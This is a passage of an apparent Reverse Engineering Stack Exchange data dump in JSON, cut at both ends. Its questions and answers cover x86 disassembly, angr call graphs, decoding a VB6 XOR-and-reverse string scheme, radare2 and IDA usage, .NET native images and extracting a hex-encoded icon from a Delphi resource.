rel=\"noreferrer\">https://www.hex-rays.com/products/ida/support/sdkdoc/files.html</a></p>\n"
    },
    {
        "Id": "16059",
        "CreationDate": "2017-08-11T01:18:02.633",
        "Body": "<p>After reading a number of blog posts, forums, and watching tutorials I figured I would start learning to reverse software the old fashion way.  Creating simple C files and looking at their disassembly.  In my quest to truly understand reversing, I thought also comparing optimized and unoptimized code would be beneficial.  While looking through I came across a couple lines of code that appear to do nothing.</p>\n\n<p>I would love if someone can explain what the \"mov\"[es] in the unoptimized code is doing.  All of these were disassembled using Hopper v4.</p>\n\n<p><strong>C Code:</strong></p>\n\n<pre><code> #include &lt;stdio.h&gt;\n\n int main(int arg, char** arg) {\n    printf(\"Hello World!\\n\");\n    return 0;\n }\n</code></pre>\n\n<p><strong>Unoptimized Code (gcc -m32) :</strong></p>\n\n<pre><code>; Variables:\n        ;    arg_4: 12\n        ;    arg_0: 8\n        ;    var_4: -4\n        ;    var_8: -8\n        ;    var_C: -12\n        ;    var_10: -16\n        ;    var_18: -24\npush       ebp\nmov        ebp, esp\nsub        esp, 0x18\ncall       _main+11\npop        eax                            ; CODE XREF=_main+6\n\n-- What purpose do these moves serve? --\nmov        ecx, dword [ebp+arg_4]\nmov        edx, dword [ebp+arg_0]\n--                                    --\nlea        eax, dword [eax-0x1f5b+0x1fa6] ; \"Hello World!\\\\n\"\n-- And what do these moves also serve? --\nmov        dword [ebp+var_4], 0x0\nmov        dword [ebp+var_8], edx\nmov        dword [ebp+var_C], ecx\n--                                    --\nmov        dword [esp+0x18+var_18], eax  ; method imp___symbol_stub__printf\ncall       imp___symbol_stub__printf\nxor        ecx, ecx                           \nmov        dword [ebp+var_10], eax\nmov        eax, ecx                                    \nadd        esp, 0x18                           \npop        ebp\nret\n</code></pre>\n\n<p><strong>Optimized Code (gcc -m32 -O3):</strong></p>\n\n<pre><code>push       ebp\nmov        ebp, esp\nsub        esp, 0x8\ncall       _main+11\npop        eax                             ; CODE XREF=_main+6\nlea        eax, dword [eax-0x1f6b+0x1f9e]  ; \"Hello World!\"\nmov        dword [esp+0x8+var_8], eax      ; \"%s\" for imp___symbol_stub__puts\ncall       imp___symbol_stub__puts\nxor        eax, eax\nadd        esp, 0x8\npop        eep\nret\n</code></pre>\n",
        "Title": "Optimized vs Unoptimized code comparison",
        "Tags": "|x86|intel|",
        "Answer": "<p>First of all, I would advise you to read about the SystemV ABI for i386 and amd64. You can find the documents here:</p>\n\n<ul>\n<li><a href=\"http://www.sco.com/developers/devspecs/abi386-4.pdf\" rel=\"nofollow noreferrer\">System V i386 ABI</a></li>\n<li><a href=\"https://software.intel.com/sites/default/files/article/402129/mpx-linux64-abi.pdf\" rel=\"nofollow noreferrer\">System V amd64 ABI</a></li>\n</ul>\n\n<p>These documents define as precisely as possible how a compiler coder should translate some C/C++ code into i386/amd64 assembly code for a Unix-like system. </p>\n\n<p>They are extremely important documents and you should refer to it as often as possible because they contain a lot of answers for most of your questions.</p>\n\n<p>Now, back to your original question, in your case the main differences between the two codes is that <code>gcc</code> has optimized data movements in the memory as we will see.</p>\n\n<h1>First code snippet</h1>\n\n<pre><code>-- What purpose do these moves serve? --\nmov        ecx, dword [ebp+arg_4]\nmov        edx, dword [ebp+arg_0]\n--                                    --\n</code></pre>\n\n<p>Here, <code>ecx</code> and <code>edx</code> are loaded with the arguments of <code>main</code> (very likely <code>argc</code> and <code>argv</code>).</p>\n\n<p>Note that, none of <code>argc</code> and <code>argv</code> are of any use in the <code>main()</code> function. But, the compiler does not know about it because it did not performed dead-code/dead-variables analysis at this level of optimization. Of course, this code will be removed when the appropriate analysis will be performed.</p>\n\n<h1>Second code snippet</h1>\n\n<pre><code>-- And what do these moves also serve? --\nmov        dword [ebp+var_4], 0x0\nmov        dword [ebp+var_8], edx\nmov        dword [ebp+var_C], ecx\n--                                    --\n</code></pre>\n\n<p>Here, the program seems to store the arguments in the local memory frame (below <code>ebp</code>). Note that the arguments are above <code>ebp</code> and the automatic variables below (we say automatic variable for the variable which are within the function's scope).</p>\n\n<p>Of course, these data movements are totally unnecessary, but the compiler just apply a default template for starting a function which transfer a copy of the arguments in the local memory stack-frame. And, once again, when the compiler realize that these variables are of no use, then these moves will disappear.</p>\n"
    },
    {
        "Id": "16081",
        "CreationDate": "2017-08-13T02:58:47.633",
        "Body": "<p>I have a non-stripped ELF binary for which I want to create a call graph as a <a href=\"https://en.wikipedia.org/wiki/DOT_(graph_description_language)\" rel=\"noreferrer\">dot</a> file. Is there such a tool which generates the call graph?</p>\n\n<p>EDIT: Is there away in addition to the conventional call graph to find a call graph between libraries based on the executable. For example showing the call graph only of from <code>libc</code> to <code>pthread</code>.</p>\n",
        "Title": "How to generate the call graph of a binary file?",
        "Tags": "|binary-analysis|elf|call-graph|",
        "Answer": "<p>You can use angr-utils in order to generate the graph from angr : <a href=\"https://github.com/axt/angr-utils\" rel=\"nofollow noreferrer\">https://github.com/axt/angr-utils</a></p>\n<p>For more information please see:</p>\n<p><a href=\"https://github.com/axt/angr-utils/blob/master/examples/plot_cg/README.md\" rel=\"nofollow noreferrer\">https://github.com/axt/angr-utils/blob/master/examples/plot_cg/README.md</a></p>\n<p><a href=\"https://i.stack.imgur.com/ca0T3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ca0T3.png\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "16092",
        "CreationDate": "2017-08-15T16:57:50.783",
        "Body": "<p>A friends company uses an old VB6 application to generate encoded strings to then use in their also old and out of date database system.</p>\n\n<p>They have the application running in standalone mode so I can test inputs and have it generate an encoded output, but they wanted to migrate it into a web based system to build the request string to prevent someone from having to access the old desktop locally.</p>\n\n<pre><code>Input: AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz\nOutput: ~^}]|\\sSrRqQpPwWvVuUtTkKjJiIhHoOnNmMlLcCbBaA`@gGfFeE\n\nInput: 1234567890\nOutput: 4=&lt;3210765\n\nInput: 1\nOutput: 5\n\nInput: 12\nOutput: 65\n\nInput: 123\nOutput: 765\n</code></pre>\n\n<p>Any ideas on where I can start to figure this out? It looks like it does a single character encode and then reverses the string.</p>\n\n<p>EDIT: Gets a little more complex it seems.... If the input cross into a new column it appears to subtract 4?</p>\n\n<pre><code>Input: ?\nOutput: ;\n\nInput: 789:;&lt;=&gt;?\nOutput: ;:98?&gt;=&lt;3\n</code></pre>\n\n<p>Looks like maybe the application is using multiple definitions? Or doing some type of math range to determine to add or subtract?</p>\n\n<p><a href=\"https://i.stack.imgur.com/wJJPU.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wJJPU.gif\" alt=\"ASCII Table\"></a></p>\n\n<p>Decompiled Code that makes very little sense to me.</p>\n\n<pre><code>Private Sub CommandButton_Click() '408C90\n  Dim var_44 As TextBox\n  Dim var_48 As TextBox\n  loc_00408CB5: var_8 = &amp;H4010C0\n  loc_00408D16: Set var_44 = Me\n  loc_00408D25: var_28 = password.Text\n  loc_00408D6D: Set var_44 = Len(var_28)\n  loc_00408D7C: var_28 = password.Text\n  loc_00408DBE: \n  loc_00408DC5: If Len(var_28) &lt; 0 Then GoTo loc_00408EDA\n  loc_00408DE5: var_54 = Me\n  loc_00408DF2: var_64 = 1\n  loc_00408DF9: var_6C = 2\n  loc_00408E00: var_44 = 0\n  loc_00408E07: var_5C = 9\n  loc_00408E1C: var_28 = CStr(Mid$(vbObject, Len(var_28), 1))\n  loc_00408E34: call __vbaStrI2(Asc(var_28) xor eax, Me, var_28, var_44, 0040856Ch, 000000A0h, 000000A0h, 000000A0h, 000000A0h)\n  loc_00408E70: var_84 = var_24\n  loc_00408E76: var_8C = 8\n  loc_00408E81: Var_Ret_1 = CLng(__vbaStrI2(Asc(var_28) xor eax, Me, var_28, var_44, 0040856Ch, 000000A0h, 000000A0h, 000000A0h, 000000A0h))\n  loc_00408E8C: var_5C = Chr(Var_Ret_1)\n  loc_00408EA1: var_6C = var_24 &amp; var_24\n  loc_00408EC5: eax = var_5C Or FFFFFFFFh\n  loc_00408ECB: var_5C Or FFFFFFFFh = var_5C Or FFFFFFFFh + Len(var_28)\n  loc_00408ED5: GoTo loc_00408DBE\n  loc_00408EDA: \n  loc_00408EF0: var_A0 = vbEmpty\n  loc_00408F04: Set var_44 = Me\n  loc_00408F0F: var_28 = ip.Text\n  loc_00408F3B: Set var_48 = var_28\n  loc_00408F4A: var_30 = User.Text\n  loc_00408FC0: var_40 = \"http://\" &amp; var_28 &amp; \"/login?name=\" &amp; var_30 &amp; \"&amp;password=\" &amp; var_24\n  loc_00408FCA: Me.MousePointer = var_40\n  loc_0040902F: GoTo loc_00409081\n  loc_00409080: Exit Sub\n  loc_00409081: \n  loc_00409091: Exit Sub\nEnd Sub\n</code></pre>\n",
        "Title": "How can I identify how this string is being encoded so I can replicate it?",
        "Tags": "|encryption|encodings|strings|visual-basic|vb6|",
        "Answer": "<p>Based on your examples, it looks like the strings are reversed and each byte is <a href=\"https://en.wikipedia.org/wiki/Bitwise_operation#XOR\" rel=\"nofollow noreferrer\">XORed</a> with the byte 4.  Here's a quick Perl one-liner to demonstrate this:</p>\n\n<pre><code>perl -lne 'print reverse($_) ^ (\"\\x04\" x length($_))'\n</code></pre>\n\n<p>and what happens when you apply it to your test strings:</p>\n\n<pre><code>$ cat test.txt\nAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz\n1234567890\n1\n2\n123\n?\n789:;&lt;=&gt;?\n\n$ perl -lne 'print reverse($_) ^ (\"\\x04\" x length($_))' test.txt \n~^}]|\\sSrRqQpPwWvVuUtTkKjJiIhHoOnNmMlLcCbBaA`@gGfFeE\n4=&lt;3210765\n5\n6\n765\n;\n;:98?&gt;=&lt;3\n</code></pre>\n\n<p>The fact that the input string gets reversed is pretty obvious if you compare the encryptions of <code>1</code> &rarr; <code>5</code> and <code>2</code> &rarr; <code>6</code> with <code>123</code> &rarr; <code>765</code>.</p>\n\n<p>After figuring that out, and guessing that the rest is just a bytewise substitution cipher, you can figure out the pattern to the substitutions by looking at the encryptions of the letters.  Specifically, we can see that (ignoring the reversal), the letters:</p>\n\n<pre><code>ABCDEFGHIJKLMNOPQRSTUVWXYZ\n</code></pre>\n\n<p>encrypt to:</p>\n\n<pre><code>EFG@ABCLMNOHIJKTUVWPQRS\\]^\n</code></pre>\n\n<p>Noting that <code>@</code> comes right before <code>A</code> in ASCII (and <code>`</code> likewise comes right before <code>a</code>), we can see that the encrypted alphabet is shuffled around in chunks of 4 letters:</p>\n\n<pre><code>Input:  ABC DEFG HIJK LMNO PQRS TUVW XYZ\nOutput: EFG @ABC LMNO HIJK TUVW PQRS \\]^\n</code></pre>\n\n<p>We can also see that the mapping is self-inverse: <code>HIJK</code> encrypts to <code>LMNO</code> while <code>LMNO</code> encrypts back to <code>HIJK</code>.  This, along with the regular pattern of letter position swaps, should be a pretty strong hint that we might be dealing with bitwise XOR.  Comparing the ASCII codes of any pair of plaintext/ciphertext letters is then sufficient to reveal the constant key byte (which we can then test on other known input strings to confirm our guess).</p>\n"
    },
    {
        "Id": "16097",
        "CreationDate": "2017-08-15T22:05:22.303",
        "Body": "<p>I am trying to get all the library function calls that a binary performs in a preorder-DFT traversal of the CFG. I'm able to get the CFG like:</p>\n\n<pre><code>import sys, angr\nimport networkx as nx\nproj = angr.Project(sys.argv[1],auto_load_libs=False)\ncfg = proj.analyses.CFG().graph\n</code></pre>\n\n<p>I was able to get the CFG and I can even traverse it like this (Suppose I'm getting the correct main function's node):</p>\n\n<pre><code>s = nx.dfs_preorder_nodes(cfg,mainFuncNode)\nnodes = []\ntry:\n    while True:\n        nodes.append(ns.next())\nexcept:\n    pass\n</code></pre>\n\n<p>However I don't know how to get the function calls from the nodes (if they are actually doing it).\nI read some documentation and all I could come up with was:</p>\n\n<pre><code>for n in nodes:\n    if n.is_simprocedure:\n          print n.to_codenode().function\n</code></pre>\n\n<p>The output is all None and I'm sure that's wrong because the binary Is doing some I/O operations. So I expect to see something like:</p>\n\n<ul>\n<li><code>libc_puts</code></li>\n<li><code>libc_gets</code></li>\n<li>...</li>\n</ul>\n\n<p>I would appreciate if you could give me some better pointers. </p>\n",
        "Title": "How can I get the shared libraries' function calls using angr",
        "Tags": "|static-analysis|python|binary|control-flow-graph|angr|",
        "Answer": "<blockquote>\n  <p>However I don't know how to get the function calls from the nodes </p>\n</blockquote>\n\n<p>Are you saying you want to know which function a node belongs to, or which function a node is calling?</p>\n\n<p>For the former, each block has a corresponding <code>CFGNode</code> object that are in the graph. Each <code>CFGNode</code> has a <code>.function_address</code> member, which tells you the address of the function that the node belongs to.</p>\n\n<p>For the latter, every edge in the graph is labeled with properties, and we use 'jumpkind' to mark the type of an edge. An <code>Ijk_Call</code> jumpkind means that edge is a call from a block (or a node) to a function.  </p>\n\n<p>By the way, angr's CFG class is more than just the <code>.graph</code> member (which is a <code>networkx.DiGraph</code> instance). You might find it easier sometimes to directly work on <code>CFG</code>, instead of manually traversing the graph.</p>\n\n<p>In addition, once a CFG is generated, you can access all functions by accessing <code>CFG.functions</code>. Each <code>Function</code> instance has two intra-function graphs associated with it: a <code>.graph</code> and a <code>.transition_graph</code>. You may find it easier to work with than traversing the CFG of the whole binary.</p>\n\n<p>In the end, if you like GUI, and you have a lot of patience, you might want to give <a href=\"https://github.com/angr/angr-management/\" rel=\"noreferrer\">angr Management</a> a try.</p>\n"
    },
    {
        "Id": "16099",
        "CreationDate": "2017-08-16T02:17:29.150",
        "Body": "<p>I am modifying the <a href=\"https://play.google.com/store/apps/details?id=org.dolphinemu.dolphinemu&amp;hl=en\" rel=\"nofollow noreferrer\">Dolphin Emulator Alpha</a> for android, but I'm having some trouble with a string in it's <code>smali</code> code. The value I am having trouble with is <code>dolphin-emu</code>, it is the name of the folder that houses the emulators data and files. So far I have olny found two files containing the string, a configuration file in the <code>assets</code> folder, and a smali script. The issue is that even afyer changing both strings to <code>Dolphin Emulator</code>, the folder is still generated as <code>dolphin-emu</code>. I have scoured the application for <strong>any</strong> other references to this string and cannot find any more. How is the folder being generated with this name if I have replaced the string that represents it?</p>\n\n<p>I am using <a href=\"https://play.google.com/store/apps/details?id=com.gmail.heagoo.apkeditor.pro&amp;hl=en\" rel=\"nofollow noreferrer\">APK Editor Pro</a> to modify the app, this is the method I almost always use. I've been modding android apps for years and have modded hundreds of them, but this one has me truly stumped. I've used every method I have developed over the years to hunt it down and nothing works. Using the built-in search function, I have searched for these strings to see if it is \"split\" or possibly even hidden:</p>\n\n<pre><code>\"dolphin-emu\"\n\"dolphin\n\"/dolphin\nemu\"\nemu/\"\n\"DOLPHIN-EMU\"\nect...\n</code></pre>\n\n<p>Nothing else turns up, the app <em>is not</em> obfuscated or protected, and I can't find anything else that could potentialy hold the string I am trying to mod. Initially this was about simply changing the value, but now I just want to figure out how this is happening. Even uninstalling then re-installing after modifying the APK did not work, I thought that it may be possible for a settings file in the apps data folder to \"remember\" where the folder was stored. I've <strong><em>never</em></strong> had this much trouble locating and modifying a string in an app before.</p>\n",
        "Title": "Dolphin Emulator Android port modifications",
        "Tags": "|android|strings|local-variables|binary-editing|",
        "Answer": "<p>After I did some more digging in the APK, I found what handles the fylesystem for the emulator. It is the <code>libmain.so</code> binary. Because it is handled by this file, modifying it is next to imposdible, this is because <code>.so</code> files are akin to windiws <code>.dll</code> binaries and are signed. Since modifying the file is not really an option, the only alternative answer to changing the emulators filesystem is to re-build it from the <a href=\"https://github.com/dolphin-emu/dolphin\" rel=\"nofollow noreferrer\">source code</a>.</p>\n\n<p><a href=\"https://i.stack.imgur.com/hZI1y.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hZI1y.jpg\" alt=\"The values were located using a hex editor.\"></a></p>\n\n<p>This is the first instance I have found something like this in an android app. Usually modifying file paths can be achieved through decompiling and modifying the <code>DEX</code>. Because of this, looking into the <code>.so</code> binaries was the <em>last</em> place I looked.</p>\n"
    },
    {
        "Id": "16108",
        "CreationDate": "2017-08-16T10:41:57.067",
        "Body": "<p>Imagine a program is launched (on windows) with a few starting parameters, for example a number and a string.</p>\n\n<p>When disassembling the program (With PEiD for example), how can I find out the starting parameters? What I'd like to do is find out what \"variable\" the starting parameters are assigned, and then track the use of that variable, in order to find the section in which they get used.</p>\n\n<p>I am completely new to all of this assembly stuff, so this question may be stupid, but I didn't manage to find my answer through simple googling.\nThanks!</p>\n",
        "Title": "Disassembled code: Find out command-line arguments of program",
        "Tags": "|disassembly|arguments|program-analysis|",
        "Answer": "<p>Unlike Linux, on Windows command-line arguments are not passed to the program's entrypoint but must be retrieved from the OS by using the API <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms683156(v=vs.85).aspx\" rel=\"nofollow noreferrer\"><code>GetCommandLine</code></a>. However, it is rarely used in actual programs. Usually it is the CRT startup which calls it, then either passes it to the <a href=\"https://blogs.msdn.microsoft.com/oldnewthing/20110525-00/?p=10573\" rel=\"nofollow noreferrer\"><code>WinMain</code> function</a> (for GUI programs), or splits it into the argument array (<code>argv</code>) and passes that to <code>main</code> (for console programs). </p>\n\n<p>Some disassemblers (e.g. IDA) can automatically identify the CRT code and show you just the <code>main</code>/<code>WinMain</code> function, in which case you can just look at the corresponding arguments (<code>argv</code>/<code>argc</code> or <code>lpCmdLine</code>).</p>\n"
    },
    {
        "Id": "16112",
        "CreationDate": "2017-08-16T17:37:25.363",
        "Body": "<p>I compiled <a href=\"https://github.com/python/cpython\" rel=\"noreferrer\">cpython</a> with debugging headers and I want to perform the following <a href=\"https://reverseengineering.stackexchange.com/questions/16081/how-to-generate-the-call-graph-of-a-binary/16082#16082\">analysis</a> using radare2. </p>\n\n<p>The problem I encounter is that it takes forever (at least 27 hours) to perform the <code>aaa</code> (analysis) part. </p>\n",
        "Title": "How to make radare2 work for a large binary?",
        "Tags": "|binary-analysis|radare2|",
        "Answer": "<p>It is not a good practice to run full analysis of your binary at the startup and it also isn't encourged by radare. Running <code>aaa</code> by default is a heavy action and absolutely not recommended or needed in most of the cases.</p>\n\n<p>As stated in <a href=\"http://radare.today/posts/analysis-by-default/\" rel=\"noreferrer\">this execllent post</a> from radare's blog:  </p>\n\n<blockquote>\n  <p>Code analysis is not a quick operation, and not even predictable or taking a linear time to be processed. This makes starting times pretty heavy, compared to just loading the headers and strings information like it\u2019s done by default.<br>\n  ...<br>\n  We enforce users to think about their workflows in order to better understand the problem they are facing and solve it in an optimal way, saving cpu, memory and why not: cats.</p>\n</blockquote>\n\n<p>To make the analysis process more efficient you can start with configuring different analysis configuration variables in radare. These configuration variables can help you to fit the analysis process to your program and to your needs. Some of the interesting variables are:  </p>\n\n<pre><code>anal.afterjmp  \nanal.depth  \nanal.eobjmp  \nanal.esil  \nanal.hasnext  \nanal.nopskip  \nanal.from\nanal.to\n</code></pre>\n\n<p><em>See the <code>e??anal.</code> command to get more detailed descriptions for them.</em>  </p>\n\n<p>Analysis of a program isn't just performing one action and that's it -- it is combined from different analysis for different needs.<br>\nradare implements many different commands that perform different kind of analysis. Smart use of these command can help you quick the process of the analysis and analyze only the parts which you believe are the most important:</p>\n\n<ul>\n<li>Find functions by prelude instructions (<code>aap</code>)    </li>\n<li>Identify functions by following calls (<code>aac</code>)    </li>\n<li>Detect jump tables and pointers to code section (<code>/V</code>)     </li>\n<li>Analyze opcode absolute and relative references (<code>aa\\r</code>)     </li>\n<li>Find code/data/string references to a specific address (<code>/r</code>)    </li>\n<li>Emulate code to identify new pointer references (<code>aae</code>)</li>\n<li>Use binary header information to find public functions (<code>aas</code>)</li>\n<li>Assume functions are consecutive (<code>aat</code>)</li>\n</ul>\n\n<p>To sums it up, you should think and plan the analysis process that fits best to your needs:</p>\n\n<blockquote>\n  <p>radare2 is not a click-and-run program, it\u2019s a set of orthogonal tools and commands that allows you to understand, analyze, manipulate and play with a large list of binary types... Only experience and understanding will give you control on what you are doing.</p>\n</blockquote>\n\n<p>If after reading this answer and the post in radare's blog you believe its a bug and you can point at the problem, feel free to open an <a href=\"https://github.com/radare/radare2/issues\" rel=\"noreferrer\">issue</a> on github.</p>\n"
    },
    {
        "Id": "16118",
        "CreationDate": "2017-08-16T20:51:56.370",
        "Body": "<p>I am trying to disassemble a MIPS 32 version 1 binary with the Radare2 framework.</p>\n\n<p>Here is the full output of the <code>file</code> command:  </p>\n\n<pre><code>ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, \ninterpreter /lib/ld-uClibc.so.0, stripped\n</code></pre>\n",
        "Title": "Disassembling MIPS 32 version 1 binary with the Radare2 Framework",
        "Tags": "|disassembly|binary-analysis|elf|radare2|mips|",
        "Answer": "<p>First of all, make sure you run the latest version of radare2 from git repository:</p>\n\n<pre><code>$ git clone https://github.com/radare/radare2.git\n$ cd radare2\n$ ./sys/install.sh\n</code></pre>\n\n<p>If you don\u2019t want to install the git version or you want the binaries for another machine (Windows, OS X, iOS, etc) check out the <a href=\"http://radare.org/r/down.html\" rel=\"nofollow noreferrer\">download page</a> at the radare2 website.</p>\n\n<p>To open <code>MIPS</code> binary with radare2, simply use the following command:  </p>\n\n<pre><code>radare2 -a mips -b 32 ./file\n</code></pre>\n\n<ul>\n<li><code>-a</code> arch - set asm.arch (x86, ppc, arm, mips, bf, java, ...)  </li>\n<li><code>-b</code> bits - set asm.bits (16, 32, 64)  </li>\n</ul>\n\n<p>Don't forget to read the manual (<code>man r2</code>), it's all there. </p>\n\n<p>For more relative information you can watch Andrew McDonnell's <a href=\"https://www.youtube.com/watch?v=R3sGlzXfEkU\" rel=\"nofollow noreferrer\">talk</a> \n called \"<em>Reverse engineering embedded software using radare2</em>\" (slides: <a href=\"http://rada.re/get/r2embed-auckland2015.pdf\" rel=\"nofollow noreferrer\">link</a>).  </p>\n\n<p>If you feel that you need more basic information about radare2 and how to use it, I recommend the following sources:  </p>\n\n<ol>\n<li><a href=\"https://www.gitbook.com/book/radare/radare2book/details\" rel=\"nofollow noreferrer\">Radare2 Book</a></li>\n<li><a href=\"https://www.gitbook.com/book/monosource/radare2-explorations/details\" rel=\"nofollow noreferrer\">Radare2 Explorations</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=fnpBy3wWabA\" rel=\"nofollow noreferrer\">Radare Demystified</a> (Talk)</li>\n</ol>\n"
    },
    {
        "Id": "16129",
        "CreationDate": "2017-08-18T11:15:46.357",
        "Body": "<p>Ok so let's say that a program obfuscated its IAT and i can't see it in IDA Pro. In OllyDbg there is a plugin where you press <code>Ctrl+G</code> you can search for a library function and set a breakpoint even though that function is not listed in the IAT. My question is how can i do this in IDA Pro?</p>\n\n<p>Thanks</p>\n",
        "Title": "Getting Xrefs to Windows Library Functions in IDA Pro",
        "Tags": "|ida|ollydbg|malware|ida-plugin|iat|",
        "Answer": "<p>During debugging, you can use names in format \"DllName_export\" (e.g.  <code>kernel32_CreateFileA</code>) to jump to functions exported by the loaded DLLs, or you can use such names in \"symbolic breakpoints\" so they're automatically added when DLL gets loaded.</p>\n\n<p>Also: double-click a DLL in the Modules list to see its exports and jump to/set breakpoints on them.</p>\n"
    },
    {
        "Id": "16133",
        "CreationDate": "2017-08-18T18:42:35.040",
        "Body": "<p>I'm trying to make some changes to .Net dll (note: dll is mixed mode module) used by an exe, ProtectionID detected nothing, so I happily jumped into dnSpy and made changes. </p>\n\n<p>I ran executable with dnSpy debugger and everything was working as expected. However when I saved module and tried to run executable, it worked as if no changes were made. </p>\n\n<p>I double checked, but module saved correctly, and x64dbg shows that it is loaded on runtime. So how is this possible?</p>\n",
        "Title": "Modified dll works as original without debugger attached",
        "Tags": "|.net|",
        "Answer": "<p>Found the reason and I feel quite retarded now since it was so obvious. It was NativeImage being loaded and removing all generated images actually made my changes load. Thanks @Pawe\u0142\u0141ukasik for pointing me in right direction.</p>\n"
    },
    {
        "Id": "16134",
        "CreationDate": "2017-08-18T19:50:36.593",
        "Body": "<p>Let's bring example</p>\n\n<p>We have string</p>\n\n<pre><code>0000000000bd2906 db \"CurrentKey\", 0 ; DATA XREF=sub_555670+3390\n</code></pre>\n\n<p>And it's used here</p>\n\n<pre><code>00000000005563ae lea rsi, qword [0xbd2906] ; \"CurrentKey\"\n</code></pre>\n\n<p>Disassembler already knows where is variable reference. Knows that \"CurrentKey\" string is stored at 0xbd2906 and used at 0x5563ae.\nQuestion is, how can i manually locate where variable is used without using disassembler (to do this automatically from code) ? </p>\n\n<p>Can someone explain it or provide cpp example ?</p>\n",
        "Title": "Finding variable reference in cpp",
        "Tags": "|disassembly|assembly|binary-analysis|c++|",
        "Answer": "<p>It depends on what exactly the context is. What type of binary is it? Are you talking about on-disk or in-memory? What os are you on?</p>\n\n<p>I would highly recommend you use a disassembly engine library which makes most of these questions moot. <a href=\"http://www.capstone-engine.org/\" rel=\"nofollow noreferrer\">Capstone</a> is nice.</p>\n\n<p>If you really want to do it by yourself, you can. For instance, if your target is a PE file, you'll need to map it into memory. This means understanding the PE format or using a library such as <a href=\"http://www.pelib.com/index.php\" rel=\"nofollow noreferrer\">PeLib</a>. Once you've done that, you'll want to search for the string in question. This would generally be in the \".rdata\" section (marked for RO) if it's a constant string, or in the \".data\" section (marked for RW) if it's a mutable string. Once you've found it, you'll need to scan through the \".text\" section (marked for RWE) for the address that corresponds to the string.</p>\n\n<p>There's a few caveats here. First, these section names and protections may be different if the binary is packed, written in managed code, or compiled by a non-standard compiler. These same things can lead to greatly complicating the task.</p>\n\n<p>Second, you will have to deal with ASLR. The binary will either have ASLR enabled, meaning there is a relocations table which needs to be parsed and applied to the binary to get the final addresses; or it won't have ASLR, meaning all of the addresses will assume <code>0x00040000</code> as a base and you will need to take this into account when calculating the address of the string once you've found it (oh, you mapped the binary at <code>0x0006500</code> and the string was found at <code>0x00006516</code>? You must scan for address <code>(0x00006516 - 0x0006500) + 0x00040000</code>). This is similar to what you need to do when applying relocations.</p>\n\n<p>One thing to keep in mind is that relocations can be useful. Generally, when they exist, they will tell of every single offset that uses an address in the binary relative to the base address. So you might also just scan each offset that is relocated, checking for one whose proper address resolves to one containing your target string.</p>\n\n<p>I wish I could be more helpful, but this is what I can offer with the information you've provided. Hopefully it puts you in the right direction.</p>\n"
    },
    {
        "Id": "16150",
        "CreationDate": "2017-08-21T06:43:47.990",
        "Body": "<p>I've been hacking and modding software for years, and have learned a lot, but there are still a few things that vex me - this is one such case.</p>\n<p>I have noticed that some PEs contain an <code>RCData</code> section that can house a large variety of different kinds of data and information. In my experience the data is usually binary files or dialog classes. In this case, I am trying to figure out how an image is being stored in what I can only describe as <s>binary</s> raw format for a dialog (thanks to @Megabeets for refreshing my memory). In my more inexperienced days, I thought the image data in these files was stored directly as plain text or hexadecimal values. When I compared the data in the resource data to the image in question (stored in a different tree as a different format), they did not match. In some cases, this data is its own image with no comparable alternative. Below is an screenshot of the data in question:</p>\n<p><a href=\"https://i.stack.imgur.com/x5CYb.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/x5CYb.jpg\" alt=\"Binary data is hilighted in blue\" /></a></p>\n<p>I know this data is for an icon, as removing it also removes the image in the application. For some programs, this data can be a dialog GUI asset, or bitmap. How do I &quot;convert&quot; this data into an image or vise versa for modification or replacement?</p>\n<p>As a potential alternative solution, could I modify the script to directly reference the main application icon instead?</p>\n<p>Side-note: The image is an icon group containing four icons, and acts as the title bar icon.</p>\n",
        "Title": "How can I modify binary image resource data?",
        "Tags": "|windows|executable|binary-editing|",
        "Answer": "<p>Firstly, we need to understand what is RCDATA resource. This is how it described in <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa381039(v=vs.85).aspx\" rel=\"noreferrer\">MSDN</a>:</p>\n\n<blockquote>\n  <p>RCDATA defines a raw data resource for an application. Raw data resources\n  permit the inclusion of binary data directly in the executable file.  </p>\n  \n  <p><code>nameID RCDATA  [optional-statements] {raw-data  ...}</code></p>\n  \n  <p><strong><em>raw-data</em></strong><br>\n   Raw data consisting of one or more integers or strings of\n  characters. Integers can be specified in decimal, octal, or\n  hexadecimal format. To be compatible with 16-bit Windows, integers are\n  stored as WORD values. You can store an integer as a DWORD value by\n  qualifying the integer with the \"L\" suffix.</p>\n</blockquote>\n\n<p>In your example we see the configuration of <code>TfrmMain</code> which is the main form that is derived from <code>TForm</code> and is used as user interface for the program.  </p>\n\n<p>With that in mind, we can understand that <code>Icon.Data</code> stores an icon for the application in what seems like an <strong><a href=\"https://en.wikipedia.org/wiki/Hexadecimal\" rel=\"noreferrer\">hexadecimal</a></strong> representation of it.<br>\nAnd indeed, if we will take a look at the <a href=\"https://www.iana.org/assignments/media-types/image/vnd.microsoft.icon\" rel=\"noreferrer\">ICO registration information for at IANA</a> we can see that the <code>Magic Number</code> (the first four octets in the file in hexadecimal) of ICO files is same as in your example:  </p>\n\n<blockquote>\n  <p>Additional information :<br>\n  1. Magic number(s) : <strong>00 00 01 00</strong><br>\n  2. File extension(s) : ico</p>\n</blockquote>\n\n<p>When you compare the <code>Icon.Data</code> with another image, which you said has different file format, you won't see a match because each image format has different structure and specification and therefore, even though the files might look the same, the binary data is different.  </p>\n\n<p>You can convert hex string into an image and an image to hex string easily using python:  </p>\n\n<pre><code>import binascii\n\n# open ico file and read its binary content\nwith open('example.ico', 'rb') as f:\n    content = f.read()\n\n# convert the binary content to hexadecimal string\nhexstr = binascii.hexlify(content)\n\n# write this hexadecimal string to output.ico as binary\nwith open('output.ico','wb') as f:\n    f.write(binascii.unhexlify(hexstr))\n</code></pre>\n\n<p>You can copy and paste the <code>Icon.Data</code> to a plain text and then read it with python using:  </p>\n\n<pre><code>with open('hexadecimal.txt', 'r') as f:\n    content = 